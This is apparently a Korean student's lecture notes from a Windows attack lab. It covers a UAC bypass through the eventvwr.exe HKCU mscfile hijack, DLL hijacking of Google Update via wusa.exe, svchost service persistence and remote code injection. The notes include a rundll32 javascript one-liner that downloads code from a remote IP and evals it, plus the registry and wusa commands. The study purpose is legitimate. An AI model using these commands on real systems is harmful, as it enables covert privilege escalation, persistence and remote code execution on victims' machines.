패스트터틀

윈도우시스템 기본과 사이버위협 공격 및 대응 실습 (19.5.9) 본문

Cyber Security(undergraduate)/cyber threat

윈도우시스템 기본과 사이버위협 공격 및 대응 실습 (19.5.9)

SudekY 2019. 5. 9. 16:16

 

공격 단계 - Eop

 

어제한 Reverse Shell을 이용해서 cmd로 침투해서 cmd명령을 내렸지만

 

UAC(User Account Control) 로 권한이 높은것들은 중요디렉토리에 침투가 불가능함

 

그렇기때문에 system32이나 program 중요 파일문서내에서 dir로 문서를 만들려고했지만 생성이 불가(권한이 낮아서)

 

오늘 할것은 피해자 PC의 관리자 권한을 임의로 흭득하는 방법을 살펴볼것임

 

그것을 일종의  EoP(Escalation of Privileges)이라고 함(권한의 에스컬레이터를 타듯?)

 

이벤트뷰어

 

이곳에 유저가 로그인한시간 로그아웃한시간을 기록하기도하는데

 

여기서 좀피pc가 언제 접속했는지 알수있고 다양한 이벤트사건을 기록하는것이 이벤트뷰어인데

 

이러한 이벤트뷰어를 통해 우회를 하는방법으로는 Process Hacker라는것으로 

 

레지스트리 에디트같은경우는 UAC창이 떠야 되는데 

이벤트뷰어를 킬때에는 UAC창이 뜨지 않았음에도 Intergrity레벨이 High라는것을 알수있음

프로그램을 실행했을때 사용자에게 허락을받지 않아도 UAC권한을 자동흭득으로 가능한 기능이있는데

AutoElevation(자동권한)

eventvwr.exe, wusa.exe 등이 autoElevate true 가짐

eventvwr: 이벤트 뷰어 프로그램, 컴퓨터 관리 용도

wusa: 윈도우 업데이트 관련 시스템 프로그램

이것은 마이크로소프트 내장도구로 인증된 (마이크로소프트의 인증서 포함된)것만 이것을 허용함

실제에서는 마이크로소프트가 아닌이상 이런 프로그램을 인증할수있는 사람이 없는데 그렇기 때문에 인증서가 있는경우에만 가능한데 불가능함

 

 

그리고 마이크로소프트에 모든파일은 'MG'(binary file)로 시작을한다는것을 알수있음

Assembly Manifest 

 

 

PE Manifest 확인하는데 다음 도구 사용 가능하다

 

Sysinternal Suite

 

sigcheck.exe -nobanner -m C:\Windows\System32\eventvwr.exe

c:\windows\system32\eventvwr.exe:
        Verified:       Signed
        Signing date:   ?? 6:33 2016-07-16
        Publisher:      Microsoft Windows
        ...
        Manifest:
...
<assemblyIdentity ... />
<description>Event Viewer Snapin Launcher</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
        <requestedPrivileges>
            <requestedExecutionLevel
                level="highestAvailable"
                uiAccess="false"
            />
        </requestedPrivileges>
    </security>
</trustInfo>
<asmv3:application>
   <asmv3:windowsSettings xmlns=“...">
        <autoElevate>true</autoElevate>
   </asmv3:windowsSettings>
</asmv3:application>
</assembly>

 

해커들은 이런 특성을 보면은 이걸 어떻게 악용할지 고민하고 이런 도구가 머가 있을지 고민하는데

AutoElevate가 무엇이 있는지 착아볼껏인데

 

 Manifest ASCII 스트링 데이터로 이루어짐

 strings : PE 파일에 있는 ASCII/UNICODE 문자열 추출 도구 

 

이 strings도구를 사용해 서 AutoElevate가 있는 실행파일들을 검색해보기

strings64.exe
0.16MB
strings.exe
0.14MB

> cd c:\windows\system32
> strings.exe *.exe | findstr /l “<autoElevate>true</autoElevate>”

 

이러한 프로그램을 이용해서 악성코드를 실행하도록 만들도록 할껏임

(UAC노필요)

 

추가적으로 autoElevate가 있는 프로그램들을 찾아봤고 이런것들은 전부 사용가능하다

 

아래는 위의 실행의 결과목록으로

> strings.exe *.exe | findstr /l "<autoElevate>true</autoElevate>"
C:\windows\system32\bthudtask.exe:           <autoElevate>true</autoElevate>
C:\windows\system32\changepk.exe:             <autoElevate>true</autoElevate>
C:\windows\system32\CompMgmtLauncher.exe:     <autoElevate>true</autoElevate>
...
C:\windows\system32\eventvwr.exe:         <autoElevate>true</autoElevate>
...
C:\windows\system32\Taskmgr.exe:         <autoElevate>true</autoElevate>
...
C:\windows\system32\wusa.exe:             <autoElevate>true</autoElevate>

컴퓨터가 먹통이 되면은 Taskmgr (작업관리자) 를 쓰는데 이것도 uac가 안뜨는것을 알수있고

wusa > 업데이트 관련프로그램

 

eventviewer와 wusa로 이동할것임

 

이벤트뷰어 (eventviewer) 분석

 

 

mmc.exe를 관리자 권한으로 실행했을것이라고 추측할수있음

 

Procmon 도구

 

 

 

실행후 notepad.exe 로 파일저장후 filter에서 notepad.exe operation->File로 하면은 찾아봐서 무엇을 했는지 알수있음

ProcessMoniter는 로그가 너무 많이 쌓이기 때문에 전문가들사이에서도 논란이있음

그러면 이것으로 이벤트뷰어가 어떻게 동작하는지 확인을 해보자

 

HKCR: 특정 확장자 실행하는 프로그램 설정 포함 인데 여기서 이벤트뷰어를 확인해보면은 HKCR에서 오픈키로 

 

eventvwr는 안보이고 mmc.exe가 보인다는게 수상하다는것인데 eventvwr가 실행될때 mmc가 어떤 프로그램으로 할지 설정하고 eventvwr는 자기가 가지고 있는 권한으로 mmc.exe를 실행한것임

 

근데 HKCR키는 관리자 권한이 없으면 덮어쓸수없는 데

HKCU경로를 보는것을 확인가능한데 위에보면은 mscfile을 접근하고 name not found의 result를 확인할수있고

 

보통 일반적인 개발적인 마인드로 생각을 해야하는데 보통 프로그램을 만들때 기본설정을 만들고 ...음...

 

일단은 세계의 계정이 있다고 가정하고

 

A. txt열때 노트패드

B. txt열때 visual studio

기본적으로 사용자는 .txt에 대한 프로그램에 대한 기본 연결프로그램을 영구적으로 바꿀수가있는데 

이걸 바꾸면 사용자는 자기가 커스터마이징한 설정값을 사용하게됨

그러면 여기서 윈도우는 어떤 프로그램 실행시킬때 먼저 커스터마이징한값을 확인한후에 없다면 기본설정값을 사용하는데 어떤 시스템 내에서 msc파일을 열때 어떤 커스터마이징을 쓰지 않는데 HKCU는 현재유저만 영향을 받기때문에

관리자 권한이 없어도 바꿀수있음. 만약에 악성코드가 이런키를 만들어서 커멘드 정보를 만든다면 

즉, 설정값을 우선순위가 높은것 search hijacking 기법과 유사함

 

HKCU\...\mscfile\shell\open  수정하면 mmc.exe 대신 원하는 프로그램을 UAC 권한으로 실행 가능

HKCU: 특정 유저에 관한 설정값 포함하는 하이브

HKCR: 컴퓨터 전체에서 적용되는 설정값 포함

HKCU 우선순위가 HKCR 보다  높음

 

그러니까 HKCU 확인후 >>> HKCR확인하는데 HKCU를 확인할때에는 우리가 수정할때 관리자 권한이 필요없으니 이 점을 이용해서 우선순위로 하여금 mmc.exe대신 다른 악성코드를 실행가능한것임

 

1. HKCU\Software\Classes\mscfile\shell\open : 레지스트리 없음

2. HKCR\mscfile\shell\open\command

 %SystemRoot%\system32\mmc.exe "%1" %*

 

여기서 1번을 새로 생성해서 만드는것임 그러면 HKCU가 우선순위가 높으니 저것을 우선실행함

HKCU는 Normal Integrity level에서도 수정이 가능하니 이것이야 말로 완전 사기

 

github 에 hFirefox(파이어 폭스? 이름이 잘기억이 안남)라는

인간이 이런 ACU권한 관련되서 전부 공개한것이있음 그것을 참고하면됨

 

결론 : Lab(피해자컴퓨터) UAC우회하여 Reversh Shell 흭득하기

 

위와 같이 HKCU\Software\Classes\mscfile\shell\open\command 에 

reg add <key> /ve /t REG_EXPAND_SZ /d "command" 명령어 삽입후

우리는 GUI로 바꿨지만 해커는 창을 띄우는것을 좋아하지않음 CUI로 함(cmd명령어로 뒤에서 몰래한다는얘기)

 

 

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";
document.write();h=new%%20ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","http://XXX.XXX.XXX.XXX/connect",false);
try{h.Send();B=h.ResponseText;eval(B);
}catch(e){new%%20ActiveXObject("WScript.Shell").
Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

<Lab 클라이언트>

 

이상태로 들어가서 다시 접속해보면은 초반에 되지않았던 dir이 eventvwr.exe를 실행하자

높은 integrity level로 가능하다는것을 알수있다.

 

rundll32의 Integrity level은 high로 바뀌었다.

 

이것들은 윈도우 상위버젼(윈도우10)에서는 전부 막힌방법이다.(당연히 윈도우에서는 이런부분을 바로 패치한다.)

 

참고. Windows 10 15007 에서 Fix  

mscfile shell execute 방식 사용하지 않음

 

 

그렇지만 윈도우 점유율 18.3월기준 43퍼센트니까 안심하다고 볼수없다.

 

https://kbench.com/?q=node/194862

 

윈도우 10, 마침내 윈도우 7 운영체제 점유율 역전 | 케이벤치

출시한 지 약 3년 반 만에 드디어 윈도우 10 운영체제가 기존 OS 시장을 장악했던 윈도우 7 운영체제의 점유율을 넘어섰다. 분석 업체 넷 애플리케이션즈에 따르면 2018년 12월 기준으로 데스크톱 PC 시장 윈도우 10 운영체제의 점유율은 39.2%의 점유율을 차지했고 윈도우 7 운영체제는 36.9%를 차지해 굳건하게 유지하던 1위 자리를 마침내 넘겨주게 됐다. 하지만 일각에서는 윈도우 10 운영체제의 도입 속도가 마이크로소프트사의 예상보다 늦어지고

kbench.com

19년기준으로 역전을 했다고뜬다. 그렇지만 아직 안심할수는없다.

 

지금까지 교육내용은

 

https://github.com/hfiref0x/UACME

 

hfiref0x/UACME

Defeating Windows User Account Control. Contribute to hfiref0x/UACME development by creating an account on GitHub.

github.com

 

이런 미친 아이가 이런 모든것을 공개했다. 아마 여기 공개된 내용들은 추후에 전부 수정될것이다.

(스터디용으로 ㄱㄱ 악용 ㄴㄴ)

 

WUSA: Windows Update Standalone Installer 를 사용하여 악성도구를 계속 남기기

 

WUSA ?

The Windows Update Standalone Installer is tasked with installing update packages. Wusa.exe expands the contents of the update package file (.msu), and is an essential Windows file that does not cause any harm to your PC.

 

WUSA라고 autoElevate가 True인 시스템 도구임

Persistance까지 만족해버리는 기법이 될것임

WUSA는 본래 데이터가 압축된 cab파일을 압축할수있고 

예를들어 c드라이브에 log.txt를 progamefile에 옮기려고할때 uac권한창이 뜨는데 근데 wusa를 쓰면 이과정을 우회할수있는데

 

makecab test.txt test.tmp (확장자 아무거나 노상관,cmd에서)

이러면 우사를 사용하는방법이 나오는데 test.tmp 를 하고 /extract "C:\Progam..."

하면 뭐가 떳다가 progamfile안에 uac창없이 관리자 권한없이 바로 파일을 옮기고 추가할수있음,변경도가능

(Tab치면 자동완성)

 

그러면 이제 여기서 Chrome(인터넷 브라우저)를 볼것인데 chrome업데이트를 담당하는 dll을 바꿔치기 할것인데...

크롬을 쓰는 이유는 taskshedular 에서 크롬업데이트를 실행하라고 (ex)오후5시,접속시) 명시되어있음

만약에 여기 구글업데이트에다가 악성코드를 넣으면 유저가 로그인할때마다 실행하게 되니까

Persistence(지속성)을 달성할수있음.

해커들은 테스크 스케쥴러에 주의를 기울이는 이유는 테스크스케쥴러에서 권한설정과 예약실행등 강력한 기능들을 포함하고 있기 때문이다.

이러한 테스크 스케쥴러는 admin보다 강력한 system자체의 권한으로 돌아가게 되어있다고 보면됨

그렇기때문에 구글업데이트에 악성코드를 넣어버리면 admin보다 상위권한으로 돌아갈수있다는 뜻임

 

(정말 신기한부분)

Dll Search Order Hijacking

시스템 프로세스를 대상으로  DLL Injection

실습: Lab VM 있는 Google Updater 프로그램 DLL Hijacking

 

 

 

GoogleUpdate.exe 을 더블클릭후 Modules(dll를 칭함)을 보면 정보가 나오는데

관심을 가지는거 goopdate.dll 

 

다른 dll도 사용가능한데 교육적인 수준에서는 이 이상의 dll을 건드는것은 system에 영향을 미치기때문에 goopdate.dll만 사용

 

goopdate.dll 은 progame Files(x86)에 존재함( 추가적으로 다른것은대부분 system32, wow64에 있음)

 

 

HijackDll.dll
0.07MB

IN CMD IN folder)

> move HijackDll.dll Goopdate.dll

> makecab Goopdate.dll temp.tmp(압축)

> wusa C:\...\temp.tmp /extract:“C:\Program files\Google\Update\1.x.yy.zz”(x,y,z는 버젼 변수를 뜻함))(압축 풀기)

 

원본 Goopdate.dll 을 temp.tmp로 이름을 바꾸고 wusa로 원본 Goopdate.dll로 

 

temp.tmp 안에 Goopdate.dll이 압축되어있고 이것을 wusa의 권한필요없음을 이용하여 Goopdate.dll로 압축을 풀어서

파일을 덮어쓰여서 대체함

 

이 아니고 덮어쓰기가 안되는데 googleupdate에서 dll을 쓰고있기때문에 실행중에는 변경이 불가능하기때문에

그렇다면 이것을 uac권한 우회로 바꿨다고 치고 진행한다고 생각(rundll32로 바꿧다고)

 

dll기본형식

 

dllmain > dll시작점 ( 프로그램이 dll들고올때 실행됨 )

Googleupdate.exe가 goopdate.dll을 불러올때 main이 시작되고 밑에가 진행됨

 

해커들은 goopdate.dll을 다 죽여버리고 없애는게 아니고 유지시키고 추가하는방법으로 해서 사용자가 모르게 함

 

BOOL WINAPI DllMain(
  HINSTANCE hinstDLL,
  DWORD fdwReason,
  LPVOID lpvReserved
);

출처: https://unikys.tistory.com/31 [All-round programmer]

 

https://unikys.tistory.com/31(dll Main 활용)

 

DLL 활용 도전기 2 - DllMain을 써보자! 초기화, 해제!

이전에 DllMain이 왜 안되었을까...살펴보니 그이유가.. DllMain안에다가 전역변수를 그대로 카피n페이스트하다가 int g_nWindowSize = 10;을 그대로 복사해버렸던 것이다-_-;; DllMain은 제대로 되는건데 내 실수..

unikys.tistory.com

https://msdn.microsoft.com/ko-kr/library/windows/desktop/aa363362.aspx(outputdebugstirnga)

 

OutputDebugString function (Windows)

EN 이 콘텐츠는 한국어로 제공되지 않아 영어 버전으로 표시됩니다. 이 설명서는 보관되지만 유지 되지 않습니다.

msdn.microsoft.com

hijackdll의 cpp내용을 보면은 

DllMain에서 윈도우 dll인스턴스와 fdwReason와 fdwReason을 불러서 

(dll 프로세스 attach(붙힘)일때 Null or non-null의 다양한 고정로드를 위한것)

 

불라불라... 

 

결론적으로 윈도우10에서 wusa의 /extract옵션이 삭제됨(윈도우는 계속 허점을 업데이트함)(물론 전버젼은 되지만..)

 

공격단계 - Persistence

 

Persistence(유지성,지속성)

 

Persistence는 공격자입장에서 제일 중요한것은 한번 점령했다고 두번째에는 점령못한다면 정말 쓸모가없을것임 그렇기때문에 지속성이 매우 중요함

회사는 망분리가 잘되어있기때문에 내부네트워크를 공격할때 Persistence가 굉장히 중요함(파악해야하기 때문에)

 

Run(영구) / RunOnce(일회용) 레즈스트리 키에 프로그램 등록

(RunOnce는 한번 레지스트리 등록되었다가 사라지기 때문에 포렌식 대비에 용이)

 

 

schtasks도구, 서비스사용 등 이런방식으로 지속성 보장

 

schtasks 예약작업제어하는 CUI도구

> schtasks /?

SCHTASKS /parameter [인수]

 

설명:

    관리자가 로컬 컴퓨터나 원격 컴퓨터에서 예약된 작업을 만들기,

    삭제, 쿼리, 변경, 실행 또는 끝낼  있도록 합니다.

 

매개 변수 목록:

    /Create         예약된 작업을 새로 만듭니다.

    /Delete         예약된 작업을 삭제합니다.

    /Query          모든 예약된 작업을 표시합니다.

    /Change         예약된 작업의 속성을 변경합니다.

    /Run            예약된 작업을 요청  실행합니다.

    /End            현재 실행하고 있는 예약된 작업을 중지합니다.

    /ShowSid        예약된 작업 이름에 해당하는 보안 식별자를 표시합니다.

    /?               도움말 메시지를 표시합니다.

Examples:

    SCHTASKS

    SCHTASKS /?

    SCHTASKS /Run /?

    SCHTASKS /End /?

    SCHTASKS /Create /?

    SCHTASKS /Delete /?

    SCHTASKS /Query  /?

    SCHTASKS /Change /?

    SCHTASKS /ShowSid /?

 

이걸로 하나 cui형태로 하나 gui형태로 하나 똑같지만 해커들은 gui의 창띄우는것을 싫어함(화면이 보이기때문)

 

해커는 노골적으로 자신의 서비스 exe를 공개하지않음 그렇기때문에 찾기 어렵게 만들음

그렇기때문에

 

Share Process형태로 기존서비스 수정

 

보통 보안하는사람들이 쓰는것은 virustotal이 있음 

 

https://www.virustotal.com/gui/

 

VirusTotal

 

www.virustotal.com

실행파일받아서 악성코드를 넣어서 보면은 현존하는 모든 백신이 자동적으로 걸러지는것을 확인할수있음

보안전문가들이 먼저 수상한파일을 여기다가 넣어서 확인부터하는것이 1순위이다.

한번 svchost에 등록되면은 절대적으로 의심받기 힘들고 백신우회에 가장 1순위인 기법이다.

 

HKLM\SYSTEM\ControlSet001\Services\*

AeLookupSvc 사용

 

준비한 SimpleServicedll.dll

 

SimpleServiceDll.cpp
0.01MB
SimpleServiceDll.dll
0.07MB

#include "stdafx.h"
//#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <tchar.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <conio.h>
#include <process.h>
#include <string.h>
#include <Shlwapi.h>
#include <map>
#include <set>

#define ADVAPI32_DLL_NAME "advapi32.dll"

#pragma  comment(lib, "Advapi32.lib")
#pragma  comment(lib, "shlwapi.lib")

HANDLE hThread = NULL;
BOOL bExitThread = FALSE;

DWORD WINAPI ServiceThreadBody(LPVOID lpParam){
    while(! bExitThread){
        Sleep(5000);
        OutputDebugStringA("Service is Working...");
    }
    return 0;
}



typedef SERVICE_STATUS_HANDLE (WINAPI *fpRegisterServiceCtrlHandlerEx) (
                                         LPCSTR lpServiceName,
                                         LPHANDLER_FUNCTION_EX lpHandlerProc,
                                         LPVOID lpContext);

typedef BOOL (WINAPI *fpSetServiceStatus)(SERVICE_STATUS_HANDLE, LPSERVICE_STATUS);


SERVICE_STATUS_HANDLE   ghServiceStatusHandle;
SERVICE_STATUS          gstServiceStatus;
fpSetServiceStatus              gpfnSetServiceStatus = NULL;
fpRegisterServiceCtrlHandlerEx  gpfnRegisterServiceCtrlHandlerEx = NULL;


void UpdateServiceStatus(DWORD svcState){
    gstServiceStatus.dwCurrentState       = svcState;
    gstServiceStatus.dwCheckPoint         = 0;
    gstServiceStatus.dwWaitHint           = 0;
    if(gpfnSetServiceStatus(ghServiceStatusHandle, &gstServiceStatus) == 0)
        OutputDebugStringA(" SetServiceStatus Failed");
}

DWORD WINAPI HandlerEx(DWORD dwControl, DWORD dwEventType, LPVOID lpEventData, LPVOID lpContext)
{
    switch(dwControl)
    {
    case SERVICE_CONTROL_STOP:
    case SERVICE_CONTROL_SHUTDOWN:
        OutputDebugStringA("SERVICE_CONTROL_STOP/SHUTDOWN");
        bExitThread = TRUE;
        WaitForSingleObject(hThread, INFINITE);
        hThread = NULL;
        UpdateServiceStatus(SERVICE_STOPPED);
        break;
    case SERVICE_CONTROL_PAUSE:
        gstServiceStatus.dwCurrentState = SERVICE_PAUSED;
        break;
    case SERVICE_CONTROL_CONTINUE:
        gstServiceStatus.dwCurrentState = SERVICE_RUNNING;
        break;
    case SERVICE_CONTROL_INTERROGATE:
        break;
    default:
        break;
    };

    if (gpfnSetServiceStatus != NULL)
        gpfnSetServiceStatus(ghServiceStatusHandle,  &gstServiceStatus);

    return NO_ERROR;
}
void __stdcall ServiceMain_wrapper(int argc, const wchar_t* argv[])
{
    HMODULE hLib = NULL;
    OutputDebugStringW(argv[0]);

    if ((hLib = GetModuleHandle(ADVAPI32_DLL_NAME)) == NULL)
        hLib = LoadLibrary(ADVAPI32_DLL_NAME);

    if (hLib == NULL)
    {
        OutputDebugStringA("Fail to load library " ADVAPI32_DLL_NAME);
        return;
    }

    gpfnRegisterServiceCtrlHandlerEx = (fpRegisterServiceCtrlHandlerEx)GetProcAddress(hLib, "RegisterServiceCtrlHandlerExA");
    gpfnSetServiceStatus = (fpSetServiceStatus)GetProcAddress(hLib, "SetServiceStatus");

    if (gpfnRegisterServiceCtrlHandlerEx == NULL || gpfnSetServiceStatus == NULL)
    {
        OutputDebugStringA("failed to get RegisterServiceCtrlHandlerEx");
        return;
    }

    ZeroMemory( &gstServiceStatus, sizeof(gstServiceStatus) );
    gstServiceStatus.dwServiceType        = SERVICE_WIN32_SHARE_PROCESS;
    gstServiceStatus.dwCurrentState       = SERVICE_START_PENDING;
    gstServiceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN ;
    gstServiceStatus.dwWin32ExitCode      = 0;
    gstServiceStatus.dwServiceSpecificExitCode = 0;
    gstServiceStatus.dwCheckPoint         = 1;
    gstServiceStatus.dwWaitHint           = 1000;

    // Registers a function to handle service control requests.
    ghServiceStatusHandle = RegisterServiceCtrlHandlerW(argv[0], (LPHANDLER_FUNCTION)HandlerEx);

    if(gpfnSetServiceStatus(ghServiceStatusHandle, &gstServiceStatus) == 0)
         OutputDebugStringA(" SetServiceStatus Error(1)");

    if (ghServiceStatusHandle == 0)
    {
        UpdateServiceStatus(SERVICE_STOPPED);
        return;
    }
    hThread = CreateThread(0, 0, ServiceThreadBody, NULL, 0, 0);
    if(! hThread){
        OutputDebugStringA("Thread Creation Failed");
        UpdateServiceStatus(SERVICE_STOPPED);
        return;
    }
    UpdateServiceStatus(SERVICE_RUNNING);
}

void __stdcall ServiceMain(int argc, const wchar_t* argv[]){
    ServiceMain_wrapper(argc, argv);
}

BOOL APIENTRY DllMain_wrapper(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        OutputDebugStringA("DLL_PROCESS_ATTACH.");
        break;
    case DLL_THREAD_ATTACH:
        OutputDebugStringA("DLL_THREAD_ATTACH.");
        break;
    case DLL_THREAD_DETACH:
        OutputDebugStringA("DLL_THREAD_DETACH.");
        break;
    case DLL_PROCESS_DETACH:
        OutputDebugStringA("DLL_PROCESS_DETACH.");
        break;
    }
    return TRUE;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved){
    return DllMain_wrapper(hModule, ul_reason_for_call, lpReserved);
}

 

(부가적으로밑에 code Injection 부분에서...

일반적인 개발업을 하면은 svchost를 건들일이없음 (위의 코드)

그런데 이상한놈들이 svchost를 리버싱해서 dll형태를 만들은것임(본래 마이크로소프트는 이거 공개안함)

이런것들은 전부 예제코드로서 github에 공개되어있고 dll을 어떻게 구현하는지부터 전부다 공개되어있음

이런 리버싱을 어떻게 하느냐고 물어보면은 AIDA로 함(유료)

이런것들을 역공학을통해서 전부 코드를 볼수있는데(c++,c하면은 이런 낮은수준까진 파악안하지만)(어셈블리언어)

예를들어서 simpletest.dll을 aida까본다면 전부 볼수있음

(pdb파일 > 디버그파일정보를 담는파일)

더 나아가 돈이 많다면 Hexray? Hexlay? 도 있는데 일단은 aida가 거의다 모든것을 알수있음

hexray는 aida에서 본표를 전부다 코드로 바꾸어서 보여줌(강력하고 편한기능 가격은 1000만원이상)

여하튼 이런 리버싱에 유용한 도구를 사용하면 코드분석에 매우 용이함

결론적으로 이것을 악용해서 마이크로소프트에서 막아놓은것을 전부 드러냄으로서 윈도우 서비스를 장악할수있다.

그렇기 때문에 악성코드 개발자들은 이것을 이용한다.

)

HKLM\SYSTEM\ControlSet001\Services\AeLookupSvc\Parameters 키에서

ServiceDll 값을 “C:\SimpleServiceDll.dll”  수정

ServiceDllUnloadOnStop 값을 삭제

Proces Hacker 도구를 사용, 서비스의 Start Type 
Auto start 설정

이제 재부팅하면 SimpleServiceDll.dll AeLookupSvc 로서 실행

DbgView 실행 (관리자 권한, Global 캡처 활성화)

> sc start AeLookupSvc  관리자 권한으로 실행 실행하면...

 

--------------------------------------------------------------------------------------------------------------------------

AeLookupSvc란?

  Application Experience란 설명으로 작업 관리자의 서비스 항목을 차지하고 있는 서비스를 본 적이 있을 것이다. 이것은 Vista에서 처음 사용되었으며 시스템 서비스이므로 나쁜 서비스는 아니나 계륵같은 놈이다.

  정확하게 하는 일은 새로운 소프트웨어나 디바이스를 설치할 때 조용히 지켜보다가 설치가 실패하면 호환성에 대한 정보나 실패 원인을 보여주는 역할을 한다. 꼭 필요한 서비스는 아니므로 만일 시스템이 이놈 때문에 느리다 생각되면 과감하게 중지시키거나 수동으로 변환하면 된다.
출처: https://asadface.tistory.com/entry/AeLookupSvc [온고지신]

 

AeLookupSvc

AeLookupSvc란? Application Experience란 설명으로 작업 관리자의 서비스 항목을 차지하고 있는 서비스를 본 적이 있을 것이다. 이것은 Vista에서 처음 사용되었으며 시스템 서비스이므로 나쁜 서비스는 아니나..

asadface.tistory.com

 

--------------------------------------------------------------------------------------------------------------------------

 

관리자권한을 얻었다고 치고 실행되는것임

 

AeLookupSvc는 svchost.exe 아래에서 실행되는 프로세스이다.

본래는 위의 써있는 기능을하지만 위의 방법되로 레지스트리에서 해당 dll로 변경하고 재부팅해서 실행하면은

안되구..DbgView에서 나오지않음

svchost를 강제종료후(실행중에는 서비스중인것들을 변경불가능함) 재시작하면 바뀐 AeLookupSvc설정을 사용하여 

C:\SimpleServiceDll.dll을 실행함

 

어떤 svchost 재시작?

> sc queryex AeLookupSvc  실행

PID 확인

해당 PID svchost 강제종료

 

sc start AeLookupsvc 실행 -> DbgView결과 확인하면은 정상적으로 바뀌어진 값을 확인가능ㄱ

프로세스 해커로 보아도 별이상이 없음을 느낌

보안전문가들은 svchost.exe를 보고 모듈정보를 본다면 내려가다보면은 이상한 dll하나를 찾을수있음

잡았다요놈~~ 하지만 이렇게 까지 확인하지 않는이상 매우 힘듬

오늘강의에서는 다루지 않겠지만 사실 모듈자체에서도 지울수있음 그렇다면 메모리분석까지 않는이상 악성코드를 잡는것은 힘들다고 보면된다.

 

와우~~~까지는아니고 공부하는만큼 점점 획일화되는것 같은느낌

 

실제공격들은 배운모든것을 전부 조합해서 정말 복잡하고 만든다.

 

 

(보너스)

DLL Injection / Code Injection()

예를들어 시작하자면

윈도우에서 1.txt 2.txt가 있을때 1.txt의 모든 변경사항,메모리는 2.txt에 어떠한 영향도 미치지않아야함

1.txt의 무엇을 입력하던, 오류가나던, 강제종료하던 절대적으로 영향 미치면 안됨

이런식으로 윈도우 프로세스는 독립적으로 서로 분리되어있는식으로 되어있다.

 

프로세스 메모리를 Seperation이라고 하는데 서로다른프로세스는 영향을 미치지않고 서로를 모르는데

Code Injection은 이런것들을 무너뜨리는 기법임

 

이것을 어떻게 응용할수있냐면 권한을 Eop로 흭득하여(Eop) 시스템프로세스에 악성 dll를 삽입(Stealth)하고 다할수있는데 윈도우에서 이런것들을 제공하는 

VirtualAllocEx

WriteProcessMemory

CreateRemoteThread

이런것이 있는데 디버깅용으로 윈도우API로 제공해주는것인데 쓰라고 줬더니 악용해가지고 다른 프로그램에 악성코드를 삽입하는데 사용하는 쓰레기짓을 하는데 일단 그 원리를 본다면

 

Code Injection Overview

OpenProcess()로얻은 객체로 Process B가 A에 메모리를 할당(virtualAllocEx())해서 운영체제에서 제공하는 API로 메모리에 써서(WirteProcessMemory()) 만들고 이때 RemoteThread( 프로그램은 여러개의 쓰레드로 만들어짐 ) 함수를 사용해서 B가 A안에서 돌아가는 쓰레드를 하나 생성해서 A모르고 A안에서 실행됨, 주체는 A인데 A는 아무것도 몰름? 여하튼 A도 모르고 B가 명령을 하나 넣은다고 보면됨

 

Dev VM에서 

 

codeInjection으로 cmd에서 실행?

 

CodeInjection.egg
2.37MB

코드 내용 :  Priviliege토큰을 얻어서 디버그기능을 획득하여 다른프로세스를 메모리에 접근권한 획득 

TargerPID(프로세스ID)를 받고 OpenProcess로 프로세스로 열고 엑세스를 할수있도록 제어 권한을 얻어와서

(같은레벨끼리는 상호작용이됨 그 이상 UAC권한필요)

OutputDebugStrings(function point , 시작주소를 객체에 저장)

strcpy로 data스트럭쳐에 Hello World 집어넣어서 

획득한 제어권으로 메모리에서 메모리를 할당받아서(read write가능한) data struction전체를 쓴다.

실습때에는 2536번 메모리에 string 데이터가 넘어가게됨

그러면 이제 데이터는 넘어갔고 실행할 코드는 어디에 있냐면

virtualAlloc으로 실행한 코드도 받고 Read write도 Execute도 가능하게 코드 메모리도 할당받게 해주어서

CodeInjection이 할당받은 메모리에 머신코드를 그대로 쓰는것임

그리고 RemoteProcess를 생성하는데 Pcode(할당받은영역),Pdata(Injection하는코드, 

createMoniterthread할때 Pdata를 LpParameter로 넘어가서 codeInjection에 들어있고 notepad에서 할당받았고

OutputDebug... 불라불라.. 놓쳤음 (CodeInjection의 함수를 notepad에 붙혀버려서 실행시키는것같음 maybe)

중간에 datastructure에 집어넣지 않으면 노트패드는 이상한곳에 있는 Hello World를 넣어버린주소를 몰라서 죽어버림

그렇기때문에 strcpy로 집어넣은 이유가 다 있음

 

AIDA로 분석시 메모리영역(16진수)에서 확인해보면 CodeSize가 나오고

그런 부분을 노트패드에서 시작을 했다라고 보면됨

 

이개념은 프로세스 메로리라든지 인스트럭션코드 등등 이부분을 개괄적으로 보지않았으면(일반적으로 낮은수준언어)

어렵기때문에 이런 CodeInjection모드는 디버그 모드로 실행을 하면은 안됨

release모드로 실행하면 무한적으로 잘되는데, Debug모드로 실행시 죽어버림

노트패드가 죽어버리는 이유는 우리가 컴파일러로 빌드를 할때 c코드에서 깔끔하게 떨어지는 경우는 release일경우이고

debug때에는 코드를 확인하는? 코드가 들어가서 노트패드입장에서 이러한 코드에 대한 이해가없어서 읽지못하고 죽어버리는것임. 

제대로된 분석은 더 낮은수준까지 들어가서 봐야지 알수있음

여하튼 많은 이해가 필요한부분이기에 쉽지않음

일단 머신코드를 보다보면은 감이 옴. 이해하기보다는 보다보면은 이해가 가는 그런경우?일거라고 추측함

(디버그버젼을 머신코드에서 보면은 이상한코드(검사코드)가 추가되어있다는것을 알수있음)

 

detail은 이해 못해도 하나만 이해하자면 윈도우에서는 보안을 위협하는 API(위의 3개에 해당)가 있고 이것으로 해커가 악성코드로 남길수있다는것임

(Linux같은 운영체제는 이런기능이 없지는않는데 조금더 제한적임, 윈도우에 비해 쉽지않음, 물론 할수있긴함)

이기능이 윈도우2000부터 있었기에 또 하위호환성을 지키기위해 있는것임

 

CodeInjection으로 할수있는것은 이것뿐만 아니고 OutputstringA로 출력말고 LoadLibrary를 사용하여서 메모리에 불러들이는것(dll호출)으로 악성dll호출이 가능하게 할수있음.

(주석처리한 부분을 하고 몇가지 수정하면 된다고함 ,일단 나는 못함)

 

